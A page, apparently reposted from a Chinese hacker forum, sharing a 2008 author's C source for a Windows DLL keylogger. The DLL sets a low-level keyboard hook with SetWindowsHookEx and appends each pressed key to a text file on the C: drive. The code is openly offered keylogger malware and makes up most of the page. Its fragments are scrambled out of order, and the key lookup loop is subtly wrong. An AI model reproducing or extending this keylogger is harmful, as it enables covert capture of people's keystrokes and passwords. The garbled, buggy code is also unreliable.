当前位置:文档之家› c语言键盘钩子

c语言键盘钩子

//作者:zaroty
//时间:2008年9月9日0:54:39
//博客:/zaroty
///////////////////////////////////
#define DLLEXPORT __declspec(dllexport)
DLLEXPORT BOOL StartHook();
}
DLLEXPORT BOOL StartHook()
{
CuhHook=SetWindowsHookEx(WH_KEYBOARD_LL,LowLevelKeyboardProc,g_hModule,0);
if (CuhHook!=NULL)
{
return 1;
}
else
{
return 0;
}
}
DLLEXPORT BOOL StopHook()
struct VKeyInfo vkey[]=
{
AddVKey(0x30, "0"),
AddVKey(0x31, "1"),
AddVKey(0x32, "2"),
AddVKey(0x33, "3"),
AddVKey(0x34, "4"),
AddVKey(0x35, "5"),
AddVKey(0x36, "6"),
#define _WIN32_WINNT 0x0500 //底层钩子需要设置系统版本号
#include <windows.h>
#include <stdio.h>
#include "keyhook.h"
#include "vKey.h"
HHOOK CuhHook=NULL;
HANDLE g_hModule;
case DLL_PROCESS_DETACH:
g_hModule=NULL;
break;
}
return TRUE;
}
LRESULT CALLBACK LowLevelKeyboardProc(
int nCode,
WPARAM wParam,
LPARAM lParam
)
{
KBDLLHOOKSTRUCT* pStruct = (KBDLLHOOKSTRUCT*)lParam;
BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, void* lpReserved)
{
switch(dwReason)
{
case DLL_PROCESS_ATTACH:
g_hModule = (HINSTANCE)hModule;
break;
{ቤተ መጻሕፍቲ ባይዱ
if (UnhookWindowsHookEx(CuhHook))
{
return 1;
}
else
{
return 0;
}
}
==========================
////////////////////////////////////
//keyhook.h
//作用:DLL头文件,声明导出的函数
AddVKey(0x37, "7"),
AddVKey(0x38, "8"),
AddVKey(0x39, "9"),
AddVKey(0x3A, "Undefined"),
AddVKey(0x3B, "Undefined"),
//省略。。。。。。。。
}
LPCSTR GetKeyName(USHORT VKey)
////////////////////////////////////
//keyhook.c
//作用:DLL主文件
//作者:zaroty
//时间:2008年9月9日0:54:39
//博客:/zaroty
///////////////////////////////////
在开始贴这段垃圾代码以前,先给大家道个歉,也先扇自己一巴掌。本来说好昨天把代码搞好的,谁知道还没开始整,就过了12点了,食言了。
代码还没有怎么写好,先把关键代码粘贴出来,等今天晚上把代码整理好,功能完善了再修改这个文章,顺便把写程序的过程、遇到的问题以及关键思路写出来。
下面是DLL的关键代码(C语言编写,考虑DLL的兼容性):
{
int i;
for(i = 0; i<sizeof(vkey); i++)
{
if(VKey == vkey[i].VKey)
return vkey[i].VKname;
}
}
本文转自:黑客武林()详细出处参考:/stu/sort094/sort0109/15819.html
LPCSTR log=GetKeyName(pStruct->vkCode);
if (wParam==WM_KEYDOWN)
{
FILE *fl=fopen("C:\\FUCK.TXT","a+");
fprintf(fl,"%s",log);
fclose(fl);
}
return CallNextHookEx( CuhHook, nCode, wParam, lParam );
DLLEXPORT BOOL StopHook();
还有一个文件是vkey.h,包含了virtual-key code与ASCII的转换
大体内容为:
struct VKeyInfo{
USHORT VKey;
LPCSTR VKname;
};
#define AddVKey(VK, VKName) {(VK), (VKName)}
相关主题